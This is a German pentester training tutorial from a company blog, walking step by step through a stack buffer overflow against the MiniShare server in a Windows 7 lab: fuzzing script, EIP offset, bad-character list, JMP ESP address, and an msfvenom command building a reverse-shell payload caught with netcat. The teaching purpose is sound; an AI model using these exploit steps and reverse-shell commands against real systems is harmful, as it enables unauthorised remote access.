Mit der Nutzung dieser Webseite akzeptieren Sie unsere Nutzung von Cookies. Weitere Informationen über Cookies finden Sie hier
Zustimmen
Infopulse - Softwareentwicklung & Infrastruktur-Management-Services
Mit der Nutzung dieser Webseite akzeptieren Sie unsere Nutzung von Cookies. Weitere Informationen über Cookies finden Sie hier
Zustimmen
Infopulse - Softwareentwicklung & Infrastruktur-Management-Services
Infopulse - Softwareentwicklung & Infrastruktur-Management-Services
reCAPTCHA
Angebot anfordern Bitte füllen Sie dieses kurze Formular aus und wir senden Ihnen in Kürze ein kostenloses Angebot zu.
* Pflichtfelder
Der Schutz Ihrer Privatsphäre ist uns wichtig. Wir werden Ihre Informationen niemals weitergeben.
Abonnieren Sie unsere Updates Seien Sie unter den Ersten, die exklusive Einblicke in die IT, die Innovationen und Best Practices erhalten.
* Pflichtfelder
Der Schutz Ihrer Privatsphäre ist uns wichtig. Wir werden Ihre Informationen niemals weitergeben.
Subscribe to our Vacancies Please fill in this quick form to be among the first to receive our updates.
* Required fields
Your privacy is important to us. We will never share your data.
Abonnieren Sie unsere Updates Seien Sie unter den Ersten, die exklusive Einblicke in die IT, die Innovationen und Best Practices erhalten.
* Pflichtfelder
Der Schutz Ihrer Privatsphäre ist uns wichtig. Wir werden Ihre Informationen niemals weitergeben.
Photo of Andrii Bozhok Senden Sie eine E-Mail an Andrii Bozhok Bitte füllen Sie dieses kurze Formular aus, um unseren Experten direkt zu kontaktieren.
* Pflichtfelder
Der Schutz Ihrer Privatsphäre ist uns wichtig. Wir werden Ihre Informationen niemals weitergeben.
Infopulse - Expert Software Engineering, Infrastructure Management Services
Read the Full Case Study Don't miss the most interesting part of the story!
Submit this quick form to see the rest and to freely access all case studies on our website.
* Required fields
Der Schutz Ihrer Privatsphäre ist uns wichtig. Wir werden Ihre Informationen niemals weitergeben.

Training und Übung für Pentester: Buffer-Overflow für Einsteiger

Lesezeit: 10 Minuten

Es wurde bereits viel über Pufferüberläufe geschrieben, es gibt umfangreiche Anleitungen, Workshops und Anweisungen dazu, was zu tun ist und wie. Wir präsentieren unseren ersten Artikel aus der Serie “Training und Übung für Pentester”, in dem wir auf einige Besonderheiten der Penetrationstest-Kunst und häufige Fehler eingehen.
Mit diesem Artikel setzt Infopulse unsere Artikelserie zu Penetrationstests fort, in der sowohl technische, theoretische und praktische Aspekte als auch Schwachstellen, Tools, Techniken, Methodologien und viele andere Themen (einschließlich Skript-Entwicklung und Prozessautomatisierung) behandelt werden.

Vorbereitung unseres Testlabors

Wir verwenden eine virtuelle Workstation mit Windows 7 als Umgebung zum Hacken und das Tool Immunity Debugger. Zur Verdeutlichung der Prozesse im Speicher einer Anwendung nutzen wir den FTP-Server “MiniShare” mit seiner berüchtigten Sicherheitslücke im Remote-Pufferüberlauf. Sie können jede andere Anwendung mit derselben Schwachstelle wählen (viele finden sich z. B. unter  ). Die Prinzipien zum Finden und Ausnutzen von Schwachstellen sind im Allgemeinen die gleichen, die Unterschiede liegen in den Protokollen und akzeptierten Eigenschaften.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 1

Wir werden mehrere Phasen herauskristallisieren und auf jede einzelne Phase detailliert eingehen:

1. Applikationen-Fuzzing.

Fuzzing bezeichnet das Bereitstellen ungültiger Eingabedaten für eine Anwendung.
Starten Sie zuerst MiniShare und fügen Sie dem Debugger Attach hinzu.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 2

Schreiben Sie ein kurzes Skript, “HTTP GET Request”, um Daten an den MiniShare-Puffer zu senden, wobei:

buffer="GET " – eine Methode ist, die von Anwendung zu Anwendung variiert. Es kann eine "PASS"-Passwortabfrage und es können andere Parameter und / oder Methoden sein.   
buffer+="A"*2000 –  die Anzahl der Bytes ist (in diesem konkreten Fall sind es 2.000 "А"-Zeichen).
buffer+=" HTTP/1.1\r\n\r\n" – das Protokoll ist.

Ein Skript-Beispiel sieht folgendermaßen aus:

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 3

Nach dem Ausführen des Skripts können wir feststellen, dass die Anwendung nicht mehr funktioniert:

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 4

Die erste Phase ist vorbei. Finden wir nun heraus, was passiert ist und warum.

2. Registers.

EIP zeigt auf den nächsten Befehl. Es folgt immer der Wert des nächsten Befehls in einer Befehlsabfolge, aber wir haben den EIP-Wert überschrieben.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 5

Jetzt gilt es herausfinden, wo das überschriebene EIP-Register erscheint und was genau angezeigt wird. Um dieses Problem zu lösen, erstellen wir eine Mustervorlage mit einzigartigen Zeichen, um die Verschiebung zu sehen, d.h. um feststellen zu können, von welchem Zeichen aus das Überschreiben beginnt.
Es gibt verschiedene Möglichkeiten, Muster zu erzeugen. Wir haben das Script pattern_create.rbverwendet.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 6

Jetzt haben wir 2.000 einzigartige Zeichen und können die Stelle erkennen, von der aus das EIP-Register überschrieben wird.

Senden wir das Muster anstelle von „A“-Zeichen.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 7

Dann starten wir die MiniShare-Anwendung erneut. Wir starten unser Skript im Debugger und können unsere Zeichen sehen. Der EIP-Wert ist mit den Zeichen 36684335 überschrieben worden (umgekehrt: 35 43 68 36 in ASCII wären 5Ch6 4 Bytes in unserem Muster).

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 8

Zählen wir die Zeichen, um den Ausgangspunkt für die EIP-Überschreibung zu ermitteln.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 9

Nach 1787 Zeichen werden 4 Bytes 5Ch6 im EIP überschrieben (ESP-Register beginnt mit dem Zeichen #1791). Tatsächlich zeigt das ESP-Register das oberste Element im Stack an.

Prüfen wir, ob wir alles richtig gemacht haben.

EIP sollte als 42424242 HEX überschrieben werden, das als ВВВB dargestellt wird, und ESP sollte die Zeichen ССССССССССССС erhalten.

Schreiben wir unser Skript noch einmal um:


buff="GET "
buff+="A"*1787
buff+="BBBB"
buff+="CCCCCCCCCCCCCCCCCCC"
buff+=" HTTP/1.1\r\n\r\n"
s.send(buff)
s.close()

Starten wir dann die Anwendung im Debugger und führen das Skript aus.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 10

Erledigt! Die Register sind überschrieben.

3. Ungültige Zeichen.

Die nächste Phase umfasst die Bestimmung von “ungültigen Zeichen”, d. h. von Zeichen, die von einer Anwendung als Ende einer Operation interpretiert werden (z. B. null Byte; in HEX ist es “\x00”) und Wagenrücklaufzeichen “\x0a” “\x0d”). Es sind Zeichen, nach denen das Programm den Rest des Puffers nicht lesen wird.

Hier ist die Liste der ungültigen Zeichen:

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Bearbeiten wir das vorhandene Skript oder schreiben wir ein neues. Nichts, das nach “BBBB” kommt, darf ungültige Zeichen enthalten. Andernfalls wird der Prozess beendet.

Ändern wir den Wert von buff+=”CCCCCCCCCCCCCCCCCCC” in ungültige Zeichen

buff+="\х00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10………. "

Danach müssen wir die Anwendung im Debugger starten und das Skript ausführen. Wir bekommen Folgendes: Das erste Zeichen „\x00“ erweist sich als ungültig. Nach ihm ist der Puffer leer.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 11

Löschen wir es aus dem Skript und führen das Skript erneut aus:

buff+=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10 "

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 12

Wie wir sehen können, ist das letzte Zeichen „\0С“; danach ist nichts mehr im Puffer. Wir müssen “\x0d” aus dem Skript löschen und den Prozess immer wieder neu starten, bis alle ungültigen Zeichen gelöscht sind.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 13

Wunderbar!
Aus dem Screenshot ist ersichtlich, dass sich alle Zeichen im Puffer befinden. Wir hatten nur zwei ungültige Zeichen: “\00” und “\0d”.

4.Suche nach JMP ESP.

Die Aufgabe in der nächsten Phase ist das Auffinden der Adresse des JMP-ESP-Befehls im Puffer. Es ist wichtig, dass der ESP-Wert so ausgeführt wird, wie wir es brauchen, und wir können auf unser ESP verweisen, indem wir EIP mit der Adresse des JMP-ESP-Befehls überschreiben. ESP enthält dann den Shell-Code für die Remote-Verbindung. Suchen wir mit Hilfe des mona.py-Moduls für Immunity Debugger nach den von MiniShare verwendeten Modulen. Geben wir dazu den Befehl “!mona modules” in den Befehlsstring ein. Der Befehl JMP ESP kann von jedem heruntergeladenen Modul (z. B. shell32.dll oder einem anderen) abgerufen werden. Wir haben das Modul user32.dll verwendet.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 14

Wechseln wir im Debugger zum Modul user32.dll und suchen nach dem Befehl jmp esp, wobei wir dasselbe mona.py-Plug-In nutzen:
!mona jmp -r esp -m user32.dll, wobei: -r – das Register ist und -m – das gesuchte Modul.

!mona jmp -r esp -m user32.dll, where: -r – register, -m – module that is being searched.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 15

Erledigt!

Jetzt kennen wir die Adresse des Wechsels zu ESP – 75924E2B.

Schreiben wir sie Byte für Byte in umgekehrter Reihenfolge auf: \x2B\x4E\x92\x75.

Ein häufiger Fehler kann dabei sein: Diese Adresse kann eines der ungültigen Zeichen enthalten und alles wird abstürzen. Wenn Sie ein ungültiges Zeichen in der Adresse entdecken, verwenden Sie ein anderes Modul.

5. Enthüllung und Ausnutzung der Sicherheitslücke.

Mit einem Standardwerkzeug in Kali Linux generieren wir unsere Shell.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.226.157 LPORT=443 -b “\x00\x0d” -f python

wobei -p windows/ – die Plattform ist,
shell_reverse_tcp – die Übertragung des Fernbefehlsstrings CMD,
LHOST LPORT – die Adresse, an die die Shell gesendet wird,
-b – wir müssen ungültige Zeichen aus der Shell ausschließen,
–f – das Format der aktuellen Leistung (in diesem Fall – “Python”).

Nachdem wir die aktuelle Leistung generiert haben, ist alles für die Ausnutzung der Sicherheitslücke vorbereitet.

Schreiben wir das letzte Skript.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 16

Wir müssen Netcat starten, um Port 443 zu überwachen und das Skript auszuführen.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 17

Das war´s!

Wir haben den Fernzugriff auf die Workstation mit einer Anwendung erlangt, die für einen Pufferüberlauf anfällig ist.

Pentester’s Training and Practice: Buffer Overflow for Newbies - Infopulse - 18

Anhand von diesem Beispiel haben wir den Mechanismus einer Pufferüberlauf-Schwachstelle in einer MiniShare-Anwendung erfolgreich dargestellt und spezifische Register, deren Abläufe sowie grundlegende Funktionen eines Debuggers aufgezeigt.